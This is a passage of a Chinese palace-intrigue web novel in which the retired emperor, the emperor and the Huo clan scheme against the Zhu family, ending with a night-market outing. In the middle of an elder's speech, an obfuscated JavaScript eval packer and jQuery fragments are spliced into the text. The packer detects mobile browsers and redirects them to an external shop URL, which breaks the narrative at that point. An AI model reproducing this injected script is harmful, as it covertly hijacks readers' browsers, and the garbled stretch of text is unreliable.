嬴忱璧率众在魏王府前恭迎太上皇,连魏王最小的未满周岁的庶子都由奶娘抱着在列,就是仍然没有大皇子的身影,嬴忱璧耐着脾性让蒋厚运去带大皇子出来。 郭皇后拦道:“陛下,皇儿抱恙,父皇既然亲自来看望孙儿,定会体谅的。” 闻言,正徽帝嬴忱璧沉下脸看向她,郭皇后不惧对抗。魏王怡然淡定,御前总管蒋厚运不自觉眉头跳,还不满十二岁的魏王世子和许多奴婢都神情微妙。 隐隐要起冲突的帝后夫妇僵持过小会儿,郭皇后没有退让,嬴忱璧收回视线,正欲派人去带大皇子出来时,太上皇圣驾到来,皇帝他只得改成率众恭迎太上皇。 太上皇走下轿辇示意免礼,要招呼儿子时被个儿媳妇迎上来,愣了下。 “皇儿知道皇祖父要亲自来看他可高兴了,病着都想亲自来恭迎皇祖父呢,有父皇您亲自来看望孙子,皇儿他必会今日就能百病全消生龙活虎,父皇,您随儿臣这边来。” 太上皇&太上皇带来的大臣们&皇帝和魏王兄弟:“……” 穆国公霍秦川低着脑门憋笑,班丞相和武襄侯等人品不错的大臣直想摇头叹气,太上皇看向皇帝和魏王,皇帝一脸被噎着气着了,魏王一脸想翻白眼的无语。 “国舅!”太上皇喊穆国公,霍秦川麻溜冲上前处理:“王妃,快,皇后娘娘要照镜子,您快陪着皇后去照镜子。”看魏王妃没反应,连连招手让她们过来把郭后带走。 魏王妃领悟过来连忙率仆妇上前,不顾郭皇后的呵斥反对只管把人往府里拽。 众臣和宫人们尽低着头不看,可饶是还小小年纪的魏王世子都觉得,难看。 被这么一闹,太上皇懒得再在府外多话,甩袍往前走,皇帝嬴忱璧率众臣跟上。 显国公落在最后,霍秦川不识趣地凑近吐槽:“昌隆侯前几天还在做白日梦呢,当原家在北境经营几十年是死的吗还能让他宰割?”说着调侃:“哎,你家不少把柄被捏着吧,你这苦瓜脸也忒明显了。”惹得显国公瞬间甩下他大步往前去。 魏王府客堂内,太上皇居上座问:“原小将军明日将入京,皇帝知道了吧?” “今早刚得到的消息。”嬴忱璧站着答,是皇帝他自个儿不想坐,他没坐,一众大臣们便全都陪着站,堂屋内就太上皇坐着。太上皇再问:“皇帝意下如何?” 嬴忱璧环顾圈,太上皇让他们都退下,魏王要走时被嬴忱璧留道:“皇兄留下吧。” 魏王遂颔首谢过陛下,班丞相率众告退,这敞亮宽阔的大堂内就他们父子兄弟三人时,嬴忱璧没表态而是先告诉父亲:温献皇后的四公主很有可能是被害而亡。 “皇帝从哪儿得的消息说你四妹是被害而亡?”太上皇神情有点莫测。 “是小皇子降生,贵妃看着孩儿忆起四妹当年曾祈愿要替母亲和姐姐弟弟好好好,要活到儿孙绕膝时,贵妃不信,不信四妹能挺过母亲病逝的痛还会被点小悲伤击垮。” 嬴忱璧娓娓叙道:“朕和贵妃深聊了聊,猜测四妹若是被害而亡又可能是什么人害她?朕想到了授康二十二年被赐死的庶人嬴丹若,没有隐瞒贵妃。” 话到此,嬴忱璧动容规劝:“父皇,我们不传召晏家,贵妃也会告诉晏家,既然有疑,哪怕已经十几年了,晏家也定然要彻查。何况四妹是您最怜惜的女儿,是温献皇后仙逝后唯一留存的骨血,若四妹真是被害而亡对父皇您又何尝不是锥心之痛?” 魏王被那对母女气笑了,太上皇沉着脸侧头冷静,皇帝猜出可疑之人,他就信大半了,这一刻是真觉得庄妃不安分啊,倘若是他挡着她,她还真是都敢暗暗害死他呀。 “眼下多事,皇帝你拦着贵妃几日,护国公府的事落定了,咱们再与晏家谈。” 嬴忱璧应好,太上皇再问皇帝对原家的想法,嬴忱璧将长春宫昨日处置细作、虢王世子妃今早进宫找庶妹以及老国丈的猜测说了,太上皇险些坐不住:“皇帝?” “父皇,不差这一两日,原小将军明日抵京,咱们明晚就给原小将军办个洗尘宴。” 嬴忱璧讥讽道:“看看是老国丈猜错了,还是老国丈猜对了只是时间紧迫他们不敢铤而走险,更甚者是,如此紧迫的时间内他们都敢行事,他们早已蓄势待发了? 父皇您愿意相信朱家,孩儿不能不疑,倘若昌隆侯想同时拿下北境和霍家,还想把手伸到拱卫京畿直接关系到朕与父皇安危的大军中,他的下一步会是什么?” 魏王忽的嗤笑出声,太上皇眼神幽幽看向这个儿子,魏王莞尔:“父皇,孩儿刚想到,三皇兄的母族可是被昌隆侯屠杀的,他会相信你能愿意一直保着他的小命吗?” 太上皇愣了愣,魏王再致命一击:“况且昌隆侯可能会放心把自己的性命托付给你吗,父皇!会不会昌隆侯在二十年前就生出反心了,他为此已经筹谋了二十年?!” “好了!”太上皇猛地拍桌喝住,不自觉抓着桌角吩咐:“好啦,既然皇帝要给原小将军接风洗尘就按皇帝的意思吧,父皇有些疲乏,你们俩出去,父皇要安静会儿。” 皇帝和魏王顺从地告退离去,太上皇靠在椅中闭目思量偏越想越烦,更是头疼。 有响动传来,他睁开眼睛看见国丈擅自闯入,仍提不起劲儿来:“您就自个儿出去吧,寡人不会计较不经通禀就放您入内的侍卫,下去吧。” “你岳父晌午时给皇帝治过病,这会儿是来给你治病的。”霍擎一副没有尊卑的架势,太上皇没心情:“皇帝有什么病,寡人又有什么病啊,您也累了回府歇着吧。” “自卑、偏执、心性敏感闭塞,童年里让人糟心的少拿到颗糖被多看眼都能胡思乱想,他生母当年不就是因性情的缺陷才早早病逝,他遗传到生母的毛病了。”霍擎浮出丝长者的关怀意,太上皇愣下,意识到国丈不像在闹着玩:“有这回事儿?” “嗯,娃不容易啊,二十多年自己挺过来的,他生母就是害这毛病才年纪轻轻就走了,他若是心性弱些,不死也得残。”霍擎赞道:“这娃厉害,心性够强,自己挺过来了,只是他虽然心病好多了但还没痊愈,贵妃给发现了就让我来给陛下治治心病。” 又是霍贵妃?太上皇发现:“贵妃倒是敏锐,寡人这么多年都没察觉皇帝有心病。” “老头我也从未察觉过,女人家心思细腻些吧,不过女婿你的心病,”未经允许,霍擎拄着拐杖自顾自坐,老脸唏嘘:“早年,阅历不够没想过,过些年察觉到了又没敢跟你提,就这么拖着,拖到今日干脆择日不如撞日,就今儿个跟你谈谈吧。” 终于被消解点疲乏的太上皇看向这位岳父,就是副看你唱什么戏的模样。 霍擎笑道:“你爹多信赖摄政王啊,多少人进谗言,可他们还是成就了这场君臣佳话。肃宗皇帝真真是大智若愚啊,你爹当然是要比你强,你呢又比你儿子强。” “说得我都嫌寒碜了。”霍擎忍不住吐槽:“你们爷俩的眼光是倍儿棒,你是你们兄弟中最适合做皇帝的,你挑的继承人也是他们兄弟中最适合做皇帝的,结果咧?结果祖孙仨一代不如一代,这责任你得担着,肯定得你来担着嘛,你就不嫌寒碜吗?” “也没那么差吧。”太上皇陪着侃侃。 这当然是实在话!霍擎略过引言,进入情绪:“五十三年前,你爹登基时有三个兄弟,你十二叔造反,你爹如何对待另外两个兄弟?”他敲敲拐杖,老脸布满痛心疾首:“是该眷顾眷顾、该信任信任、该重用重用啊,可你看看你,你何苦啊? 你就算不愿意再相信兄弟们,有何不能留着?你怕他们也有反心,你让他们先出手啊,你何苦自己去背杀兄弟的骂名?你四弟造反,是反贼,你杀他再应当不过,可你二哥、五弟和六弟呢,他们又没造反,你残杀他们,不仁不义的是你啊!” 没法再想当看戏的太上皇铁青着脸眼神向下,没说话,也没发火。 “你杀的不只是你的兄弟还是你对你自己的信心啊!”霍擎点题,沉稳而又激昂的教导掷地有声振聋发聩:“你看看你爹,你爹多厉害,他就不怕,你怕什么? 晌午时我还跟你儿子说,前朝立国五十余年亡国,肃宗皇帝接手的是怎样一副烂摊子,若肃宗皇帝没有安邦定国之能,没准儿你们嬴氏皇族也将立国仅五十余年亡国!” 太上皇的视线再往下些,整个人仿佛由内而外透着股沉寂萧索。霍擎瞧着女婿很平静,不由得笑了:“看来摄政王生前和你谈过,他们守业的艰辛。” “你的祖宗们打江山多难啊!”霍擎倏然发飙,愤慨抨击:“你爹给你留下这片大好河山又有多不容易,你珍惜吗?你就是这么挥霍先祖们呕心沥血开创的基业吗?” 当今天下大概也就只有霍擎还敢指着太上皇痛批他的错且还能令太上皇不动怒处置了,或许这也就是太上皇再恩宠他的外祖家都没想过让朱家压倒霍家的根本吧。 太上皇闭上眼,霍擎平复过后说:“让你小叔去镇守西北吧,给你治治心病。” “什么?”太上皇睁开眼不可思议问:“国丈说什么,你再说一遍?” “把安西的守将调回来,让你小叔老秦王去镇守西北,给你治治心病。”霍擎说。 我谢谢您咧!太上皇差点没喷脏话:“就算别的什么都不论,单论年岁,岳父你是不知道老秦王都多大岁数了吗?他跟你同龄,他71岁了!” “不要吼我,我知道。”霍擎情绪高昂的怼回去又低落苦笑起来:“可你小叔什么性子,你小叔是宁可死在马背上都不愿意死在病榻里的人啊。” 霍擎低低头揉揉眼睛,或许是能够感同身受,或许是也真觉得苦涩吧,发自肺腑道:“我跟你小叔都是一只半脚踏进棺材里的人了,我们还能有几年活头?老秦王若是走了,这世间你就再也没有跟你有血亲的长辈了,你小叔以前多疼爱你啊。 他是看着你长大、带着你玩过童年给你打过江山的人啊,你就给他一个成全吧,至少他想怎么死,你就成全他吧,也给你自己治治心病,把你的信念找回来。” “不要因一个人几个人就丧失掉你对你自己的信心,什么人都不配你拿自己去陪葬。”霍擎犹如点燃的爆竹再度振奋激励:“有人造反造反啊,有人蒙蔽你蒙蔽你呗,你该怎样就怎样啊,你还要因为一群叛逆损了你自己吗,你傻不傻呀? 你爹那么好的榜样在眼前,你怎么就不知道学呢?你年轻的时候什么模样,你还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459312|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记得吗?你爹泉下有知看你变成这副模样该有多痛心啊,你就一点不珍惜你自己吗?” 太上皇攥着拳头没吭声,霍擎拄着拐杖站起来,劝道:“今儿个就别着急回太微宫了,昌隆侯派了个幕僚进京来,皇帝今晚夜市要去瞧瞧昌隆侯送来的难题,你也一起去看看吧,顺道看看人间的烟火,你已经很久不曾看过了。” 没得到回应,霍擎也没多等,拄着拐杖往外走,走两步又折返回来纠正件事:“昨儿个你说你父皇当年中意的不是你,傻孩子,怎么会那么想,你儿子自卑难不成也有随你的吗,你是你爹最出色的儿子,你父皇怎么会不中意你?” 语毕,霍擎径直转身走了,他消失在门前,太上皇抬起眼眸,苦涩地闭上眼。 不一会儿,窗牗轻响,一道黑影闪入,太上皇睁眼,来人单膝跪地呈上信件,太上皇拿过信件展开阅览,眼底逐渐阴鸷,阅过,他把这张纸揉成团攥在手里。 当皇帝和魏王收到消息赶来时堂屋内多了具尸体,太上皇站起来,淡淡道:“是个刺客,已经击毙了,不碍事。父皇今夜和你们去看看夜市,这下午就不回太微宫了。俊儿,让人给父皇收拾间屋子,父皇要去小憩会儿。” 魏王名讳嬴忱俊。 皇帝和魏王送老爹去歇息,在堂屋外的大臣们相互瞧瞧,显国公怀疑:“散了?” “应该吧,陛下不是要先给原小将军接风洗尘吗?”霍秦川装作没有想显摆样,但大家都懂是老穆国公来给太上皇安定的心神,班丞相笑笑,霍家登顶的本钱啊。显国公瞟着他绝对没有羡慕嫉妒恨,但不得不承认还有位老父撑着就是轻松得多。 鉴于太上皇在歇息,大臣们便只向皇帝告退兼向魏王告辞,他们离去,刚返回前院的蒋厚运忙禀告陛下:大皇子哭闹不休,皇后想请圣人去哄哄孙儿。 魏王无意看笑话想走时反被嬴忱璧喊住,嬴忱璧气笑道:“让魏王妃陪着皇后即刻回宫去帮太后筹备明晚的宫宴,把贴身照顾大皇子的几个宫人拖下去杖打十板子。” 蒋厚运即去传令。 穆国公霍秦川回到霍家,见到老父,还没问老爹跟太上皇说什么了居然能令太上皇还有心情带儿子们出门看夜市就被吩咐:“给蜀王府送信,爹今夜要见蜀王。” “蜀王进京了?没收到消息说他进京了呀。”霍秦川一时没转过弯,霍擎冷笑:“笑话!蜀地距离京畿不过两千里,十余日,他就是乌龟爬都该进京了。” “出什么事了让爹您这么生气?”霍秦川琢磨着今日没出事啊,看他心情都还不错的。待得知昌隆侯送进京的难题只是障眼法,真正是冲着霍家而来,他脸瞬间阴沉。 霍擎再交代:“皇帝明晚给原牧炽办接风宴,盯紧了,朱家人若有动作,让你太后妹妹带着她皇帝儿子去向太上皇要小朱太妃和虢王世子妃两条命来,这笔账就算了。” 这要价太高,霍秦川只能劝父亲冷静:“爹,这是不可能的——” “你脑子被砸出坑了霍秦川!”霍擎瞧着这不成器的立时火冒三丈:“我们不开价要两条命来填,怎么让你妹夫还价,你要是向你妹夫要一条命,一条命你都不要想能拿到,不得开价两条命才有可能拿到一条命吗,这么点事还用你爹来教你吗?” “是儿子糊涂。”霍秦川沉闷低头反思自己。 “叮嘱好你妹妹,若是跟太上皇闹起来,好好用用她的皇帝儿子,这种时候她不用儿子更待何时啊?还有,让贵妃代皇帝上个早朝就想唬住忠毅伯是不可能的,朱家若有动作,霍家明晚正好立个威给忠毅伯看场戏,你一定要该打招呼的全部打好招呼。” 霍擎着重警醒:“若不然,戏演砸了,谁的脸都难看。” 霍秦川问鞠家,霍擎道:“爹会和蜀王谈,你只管把鞠家略过,忙去吧。” “儿子告退。”霍秦川还没出门,霍海啸来给祖父送糕点,他拽过霍海啸就走。 而这盘热乎乎的糕点嘛,能让霍海啸来送的糕点自然是妹妹做的。小厨房里,霍灵渠拿油纸打包糕点,瞥瞥一直在闹脾气的男人,不情愿道:“喏,给你两块?” 晏霁之恭维她:“我要不要谢谢你啊?” “我还没见过桑柔和小祐呢,我不得怨你啊,你那么霸道,你在,就不让他们过来。”霍灵渠将糕点包好,无奈走过去哄他:“好,我再给你做盒糕点。” “衣裳呢?”晏霁之没好气地嫌她敷衍,霍灵渠讶异:“衣裳是我在回来的路上买的,我就估摸着改了改,你能愿意要外头成衣铺里的衣裳?” “算了,你别忙活了。”晏霁之埋头在女人的肩窝里,似有感疲惫:“你回来前,你祖父跟我谈起他今天跟皇帝的谈话,蛮有感触。记得我曾跟你说过,只是因悼太子挑不出错来才不为父皇所容,不是,你祖父的推测才应该是最接近真相的。” 霍灵渠抬手抚抚他的耳鬓,晏霁之若有慰藉,拥紧怀中人,缓和会儿,他把女人拉拉低贴着她的脸说:“很奇怪,这会儿,抱着你嫌不够亲近,又没有吻你的心思。” “那就把我祖父的猜测告诉我吧。”霍灵渠绕回来看着他嬉笑,眉眼弯弯,晏霁之顿时刚升起的好感散没:“还以为你真关怀我得连好奇心都没有了呢。”话虽如此,女人一撒娇,晏霁之就告诉她了,霍灵渠惊讶掩唇:“会有如此复杂吗?” “会的,毕竟圣人也曾备受忠良期待。”晏霁之抚抚她的小脸,温声道:“行知该到了,去见他吧。”又泛着醋味告诫:“就两刻钟,否则别怪我打扰你们故人相逢。” “知道啦。”霍灵渠再哄哄他,装点好包裹往外走,走出小厨房,来到庭院中,看见一名瘦削的青衫男子背对着她朝南站立着,她走近,轻唤声:“行知?” 行知转过身,见到故人,拢在袖中的手握成拳,尽量淡然笑:“忘忧。” 霍灵渠第一句就是:“我时间紧迫,我就不跟你叙旧了,阿炽明日会入京是吧?” “已经在城外了,今夜在京城外驻扎,明早进城。”行知答,霍灵渠忙把两个包裹给他:“这个大包裹是我给阿炽准备的,你就告诉他,这是你给他准备的。 包裹里有些衣食和银两,你也知道他从来存不住银两,经常手头紧巴巴的,你记得多叮嘱几遍让他别一有钱就一股脑儿的全用掉了,要不然他准记不住。 这小包裹是我给你准备的,有一些药材和银两,你在京城还是要多点银两傍身,你就不要跟我推辞了。包裹里另有二十万两银票,十万两是我出的,十万两是魏王出的,你让阿炽拿这二十万两银子给北境的将士们冬日里添身棉衣。” 行知接过包裹,浮起丝讥诮:“北境的将士们不需要魏王的银两。” “但你没有替将士们拒绝的权利,阿炽也没有。将士们是提着脑袋在打仗,只要有一个士兵愿意要这身棉衣,你就没资格拒绝,他们可以不要,但你们没有资格替他们做主。” 霍灵渠低头:“这三十万将士没有义务替原家的骨气承担受冻的煎熬。” 行知侧头平复下,应道:“好,我会把银两交给表弟,但你也知道他的脾气,这些道理对他是没用的,他若是要把银两还给霍贵妃和魏王,我是拦不住的。” “我知道,阿炽若是要还回来,我会应对的。这事不说了,你还记得虢王府在蒲州山庄里的柰果吗?我今天在魏王府见到了。”霍灵渠语调略急促:“我尝着柰果的味道应该没错,就是虢王府以前送给我们的,魏王说,这是罗将军送给他的。” “魏王这罗将军有可能是虢王的人?”行知惊诧:“这不可能吧,这罗将军追随魏王有十年了绝对是魏王的心腹大将,怎会倒向虢王,仅凭一个柰果太武断了吧?” “不管武不武断,护国公府和虢王府的姻亲必须要断了。”这才是霍灵渠的目的,行知摇头:“现在这个毕竟很省事,若不然,就她做的那龌龊勾当,舅父和大哥怎会隐忍至今;若是送走这个,来个麻烦的还不如就留着现在这个。” “但是形势变了,皇帝收到消息,昌隆侯想侵吞北境乃至有反心,虢王府和昌隆侯同样是姻亲啊,他们若是有个什么事还能不死咬着护国公府吗?就算护国公府能脱身,不被他们害得元气大伤是不可能的,这事必须即刻就办,否则原家想全身而退就难了。” 霍灵渠定道:“这件事你听我的,我们自己做主,你不要往北境报,我们先斩后奏快刀斩乱麻趁着他们都还没有注意时把这姻亲给断了,护国公府才能脱身啊。” 行知恍然:“对,对对对,忘忧你说的有道理,这事不能再拖,必须即刻就办。” “幕后主谋的黑锅就推给魏王。”霍灵渠同样挖坑用起魏王来毫不手软:“我会跟魏王打好招呼让他当天送只柰果给罗将军把这柰果的奥秘当众曝出来,你放心吧,事到临头,魏王只能硬着头皮接下来不会拆台的,我们定会把护国公府摘得干干净净。” “不,我有个更好的人选。”行知断定:“这位会心甘情愿的。” “行,阿炽带了多少人进京?”霍灵渠盘算用原家的人手够不够,忍不住再嫌魏王矫情派批护卫给她都不肯,得到个一百的数,有点讶异:“这么多,这不像他呀?” 行知解释:“舅父硬逼着他带的,还给他塞了两个副将来。” “嗯,这样,行知你即刻就出城去找阿炽,让他挑出二十人来假扮做盗匪去蒲州抢人,你切记稳住他让他不要冲动,我想办法过两日再送批盗匪过去给他们打个掩护。” 霍灵渠斟酌道:“人抢到后送给平原大长公主,我瞧着用她挺不错,日子嘛,宫里刚降生位小皇子,就定在小皇子的满月,还有将近一个月足够我们筹划了。” “好!”行知痛快道:“我现在就出城找表弟,忘忧你在皇宫中,你多加小心。” “放心吧,你才是要多小心,就算你只是借蒙侍郎掩护,被发现了也会让人很不舒服,更是要多保重身体。”霍灵渠叮嘱道:“这就出城去吧,路上慢些,别太赶。” “嗯。”行知点点头,再看她眼后,大步往外走。 霍灵渠目送故友远走的身影,双手合十祈祷,但愿这件事能顺顺利利。 121. 第121章 万家灯火亮起,夜空下,人间烟火绘繁华,夜的精彩尤胜白昼。 走进夜市,火树银花的天地在黑夜的映衬下格外炫丽,溢满烟火气息的热闹扑面而来,太上皇和皇帝一行人融进世俗的人间烟火里仿佛也沾染了寻常生活的味道。 皇帝嬴忱璧陪着老爹走在前,几回假装不经意往后看霍贵妃,刚刚碰面,他想跟贵妃解释贵妃误会他了,霍贵妃直接以不要搅了太上皇的雅兴堵死他,唉。 魏王是瞧着这女人真够心大了,抱着原家这孩子在太上皇眼皮底下晃悠。 随行的多数贵胄们包括十四岁的吴王和小弟弟简郡王则都想感喟,陛下和圣人在人前的和睦维系得可真好,昨儿个刚吵翻天,今夜就能乐呵呵地一起来看夜市。 他们一行除去侍卫有三十多人,太上皇要带皇帝和魏王逛夜市,小的四个兄弟自然全涌过来了,连乐邑长公主和霍舒窈、萧灼灼都没落下。且,这还是简化的结果,皇帝怕扰民,只定下三位相爷家、两位国舅家和两位驸马家再加一个滕王随同。 就这,人数还是庞大,太上皇来到个小摊前坐,他们就能把附近的桌凳包圆了。 霍灵渠带着桑柔和小祐与堂姐霍舒窈、乐邑长公主、宜春县主坐一桌,刚坐好,一个纸团丢到桌上,她抓起纸团看,霍桑柔没想法,另外三个女人像被骤然绷紧似的注视她。附近有注意到的都盯着,晋王满是戏谑地看向晏霁之,晏霁之转过脸。 刚轻松欢快的氛围悄然散去,嬴忱璧没有生气就是有点不是滋味,他也意外他竟然没有怒意,当然他也没有怀疑,真以为是晏霁之丢的纸团,谁想,霍灵渠阅毕后把纸团递给隔壁桌背对她的二哥,霍巨浪接过一看,黑着脸去找薛述聪,嬴忱璧:“……” 没有防备地对上魏王无语嫌弃的眼神,翻译过来就是,你当晏霁之不长脑啊,你今夜没带脑子出门是吧这都能起疑?嬴忱璧:“……”皇帝他转过视线。 薛述聪看着这团纸都想黑脸了,在他媳妇拍桌站起来要找他算账前,他拽起倒霉弟弟去找个角落训斥,薛述嘉想哭,贵妃手那么快干什么,乐邑长公主:“……” 合着是薛述嘉丢给霍桑柔的纸团吗? 造孽啊,霍秦川想捂脸,显国公只能当眼不见为净,晋王和乐邑姐弟俩都被噎得够呛,晏墉刚都想警告儿子了,好多人真是差点都以为这就是晏霁之丢给霍贵妃的了。 结果…… 晋王窝火地想发泄时顾及到太上皇老爹坐着,转而叫摊主过来,摊主端着吃食来的,原本就要给众位客官们上菜了,晋王于是想挑这些吃食的刺时又被他爹挡住,太上皇和蔼地和这面似四旬的中年人聊聊老百姓的生活,憋得晋王闷头吃羊肉。 羊肉汤、鳝面、水晶鲙、鲊脯、糖烧饼、鲜肉饺、小馄饨、烤松茸、素豆花、酸笋片,凉拌莴笋、甜酒酿、梨膏水、糖渍梅子、蜜姜丝……随着周边几个小摊的吃食逐一送过来,刚走掉的哥俩也回来了,大家伙各自吃东西,偶尔搭搭腔,氛围重新热络。 萧灼灼吃过两块羊肉,退避到暗处,迅速找个纸摊写两张纸条,若无其事地回来,去到霍贵妃身边趁人不备塞张纸条给她,再小心翼翼挪去晏霁之身边塞另一张纸条。 做完这些,萧灼灼喜滋滋转身险些撞到她堂哥,萧耿烨黑着脸把堂妹拽走。 忍着没发出响动的众人目送这位宜春县主被拽走后狠狠舒口气,天爷啊,老大人们哭笑不得,霍桑柔看呆了,还没跟她姐姐吐槽,背后剧烈的响动传来,在座的年轻男人爆发了,连太上皇和皇帝在都没顾及,真是要被这位宜春县主亮瞎眼了。 “宜春可真是——”顾念着毕竟也能算是他表姐,薛述嘉咬牙憋住蠢字,受不了地说:“众目睽睽,她当我们睁眼瞎吗?活该被人耍得团团转。” “可不就是嘛!”霍雄鹰疯狂附和:“我原来还想不通她怎么能被个出身跟她差八百里还明显对她是虚情假意的男人骗到,今夜算是明白了,脑子有问题。” “脑子没问题,她一个大家闺秀能使得出春药这种下三滥的招数吗?!”晏朗之骂得可比他们狠多了:“谁不知道我大哥是最讲究的,行这种龌龊事就是故意恶心我大哥,若不是顾及萧家能是五十万两了事的?我晏家跟她什么怨啊她上赶着来结仇。” 旧事重提,对于此事的最终受害者,薛述聪悲催地想捂脸,他媳妇也被噎得慌。 那是四年前正徽元年的宫宴上,晏霁之对着他面前的酒盏死活不肯碰非说这酒有问题,薛述聪笑话他忒能想,宜春能如此轻贱自己吗?就跟他打赌,把他的酒喝了,然后他就倒霉地中招了,大庭广众之下,他悲催地带着乐邑落荒而逃。 更让他憋闷的是,假若真是给表妹当回冤大头也就罢了,哪想宜春只是想趁机塞个婢女给晏霁之好指责晏霁之下作也好让她顺势表现出被伤透心对晏霁之死心,继而装副生无可恋好令萧家同意让她嫁给她那相好的,薛述聪得知真相后真是被憋得够呛。 但这事,这样的场合肯定不能再深谈了,场面戛然冷住,没人接话,皇帝嬴忱璧想转移话题时,湘王问:“宜春表姐被谁耍得团团转啊?”霎时令现场如静止。 湘王什么脾性啊,就是在他看来大家都知道的事你若还想搪塞他,他绝对要闹个没完。晋王刚才都没找到发泄的空隙,这会儿都不想添把火。薛述嘉默默腹诽这可怪不到他,他又不是故意的。同样不知情的霍桑柔悄悄观望圈,奇怪想这是什么忌讳吗? “晏霁之!”半响没人回应他,湘王不耐烦地点名:“你说,你肯定知道。” “是昌隆侯的第七子。”霍灵渠给出答案,清清冽冽的音调卡住晏霁之要应对的心思也令在座众人侧目,他们当然是有顾忌才不约而同缄默,太上皇恩宠朱家,这就得忌讳,何况还当着太上皇的面,湘王愣下都没再多问,霍贵妃不可能不懂吧。 “儿媳知道公爹您爱重朱家,因您的爱重,我们得顾忌昌隆侯夫妇,昌隆侯世子夫妇,可总不能对朱家人全都要顾忌吧?”霍灵渠笑盈盈转向太上皇,挑衅:“否则岂不是朱家的一个下人乃至朱家的阿猫阿狗都能踩到我们头上来,公爹说是吧?” 霍桑柔差点吓哆嗦,忙扯姐姐的衣袖,这可是太上皇,她们做啥要自己往上撞。 好几位想赞霍贵妃勇气可嘉,明摆着的挑衅,在这事面前霍贵妃自称儿媳喊太上皇公爹都能忽略不计了,穆国公霍秦川抹把辛酸泪,魏王怀疑这女人吃饱撑得是吧,嬴忱璧沉默下给父亲赔罪被挡住,太上皇淡笑道:“是儿媳妇你对吾很有怨气才是吧?” 许多位眼观鼻鼻观心,瞧这配合的,把郭皇后那个正牌儿媳妇置于何地呀。 霍灵渠四两拨千斤:“不是对您,是对你儿子,晌午时我刚跟他撕破脸,逮着机会不指桑骂槐对不住自己,公爹要怪就怪你儿子害您被儿媳妇迁怒,怨不得我。” 形势急转,太上皇顺势哈哈笑起来,皇帝嬴忱璧给老爹赔个不是,乐邑长公主在心里腹诽这厚脸皮的什么时候这么伶牙俐齿能说会道了,是呀,大家都能看得明白,霍贵妃虽然拿皇帝当挡箭牌了但她肯定也能把皇帝哄好,这事就算过了。 但,晏霁之不想这样含糊过去,不然他对不起霍灵渠怕他难做特意出头。 “不过话说回来,姑父您还是让昌隆侯管管吧。”晏霁之眼眸含笑,似春风化雨般和善:“我遭横祸没什么,可昌隆侯这庶子想娶宜春县主却不思用诚意打动萧家反而哄骗宜春县主自毁名声,还有点担当吗?您忍心让表外甥女嫁给这么没担当的男子吗?” 他虽然在笑,却明显能令人感受到他心底是在冒火。 众多知情者们也能理解,谁摊到这种事都火大,我好端端的又没招惹你们,平白要被你们当踏脚石泼脏水倒打一耙不可笑吗,四年前宜春县主耍的那龌龊伎俩,用晏朗之的话说,什么怨啊这么糟践人,非要较真这就是要结仇的。 你萧灼灼到底是蠢还是坏,满满的恶意欺辱晏家,你不是存心想来结仇吗? 在座的老臣们倒不怀疑宜春县主不懂她这事做得有多严重,但相信这就是朱家的目的,不同于太上皇认为昌隆侯不清楚,他们毫不怀疑昌隆侯很清楚,虽然未必是他授意,但那个庶子必是把计划告诉他在他认同后才进行的,选中晏家当然更非巧合。 朱家怕就是打着想让晏家和萧家结仇、不结仇也至少要恶心死晏家的目的。 霍舒窈糟心,那丫头还当他们全不知道呢,晏霁之告知他们,萧家思量再三,怕强行制止会适得其反就陪着耗耗,就看那丫头绑架小弟还上瘾了,连着扮绑匪,那小弟看这姐姐都要无语死了,若非全家陪她演,这种绑匪不死八百回都出奇了。 湘王拽过同桌的堂哥要个确切情况,十四岁的吴王和未满九岁的简郡王眨巴着星星眼,就等着八哥和堂兄再告诉他们了,同样不知情的霍桑柔也好奇地问她姐姐。 晏墉看向同桌的三位,霍秦川轻轻摇头,认为他不要出头了。武襄侯叹息,显国公点点头同意霍秦川的意思,算了吧,贵妃那话还是很中肯的。 因太上皇恩宠朱家,他们够顾忌昌隆侯府朱家了,但他们要顾忌朱家多少人啊,难不成真要沦落到连对朱家的庶子都百般顾忌吗?这就不该再退了。 晏副相也没作声,班丞相也没打圆场,晋王都没有拱火,刚刚,他们是有志一同的顾忌而此刻是有志一同的不想顾忌,大概,自皇帝以下对忍耐朱家都有窝火吧。 获悉真相的湘王瞥晋王好几眼,晋王被看得炸毛,一猜就知道他的心思:“老八你什么意思,我吃饱撑得跟昌隆侯说我们都知道了你那庶子跟宜春有私情吗?” “谁知道呢,你们走得多近啊。”湘王嘀咕,晋王险些想拍桌:“老八!” “好了!”太上皇眉间透着烦躁,皇帝帮着缓和道:“萧家什么态度?” 这话就是问霍舒窈这个萧家媳妇的,霍舒窈颔首禀:“叔叔家觉得对方人品不端正,对灼灼也未必有真心,不愿意,可灼灼想明年要嫁了,还不知道明年要怎样收场。” 霍舒窈说得委婉,其实大家都清楚,不是未必是肯定,那人对萧灼灼肯定没真心,一个都能哄骗萧灼灼自毁名声的男子可能会对萧灼灼有真心吗? 所以啊,要不然这群年轻人怎么会全都嫌宜春县主蠢,居然连这都能看不懂,霍雄鹰在这件事上都能难得的跟晋王达成一致,晋王跟昌隆侯走得再近都没想过就此事知会他一声,让你那庶子别装了我们都知道了,实在是对朱家这事做的看不上眼。 至于没担当人品不端正心思卑劣什么的,呵,朱家的门风,忽略吧。 太上皇眼底落下圈阴影,刚得知此事时他没有怀疑过昌隆侯知情,以他对朱家的恩宠,昌隆侯何需如此钻营,必是那庶子瞒着他做的。 眼下,这件事重新翻出来,他再不愿意深想都不得不多想,若是昌隆侯开始就清楚呢,哪怕昌隆侯起初不清楚,都四五年了还可能会不知道吗?知道了为何不制止,他不懂这根本是在和萧家结怨吗,还是他认为他这庶子能用这种手段来娶到萧灼灼? 可就算两家能结亲又如何,是嫌他的恩宠不够还是朱家缺这门姻亲啊? “大姐,这事儿很难办吗?萧家强硬不准不就行了。”霍灵渠奇怪。 几家能对疼爱的孩子强硬得起来,要不怎么向来多是父母拗不过儿女,霍贵妃这相对许多人都没想过且还是这么理所当然的观点引得他们包括太上皇在内再度侧目。 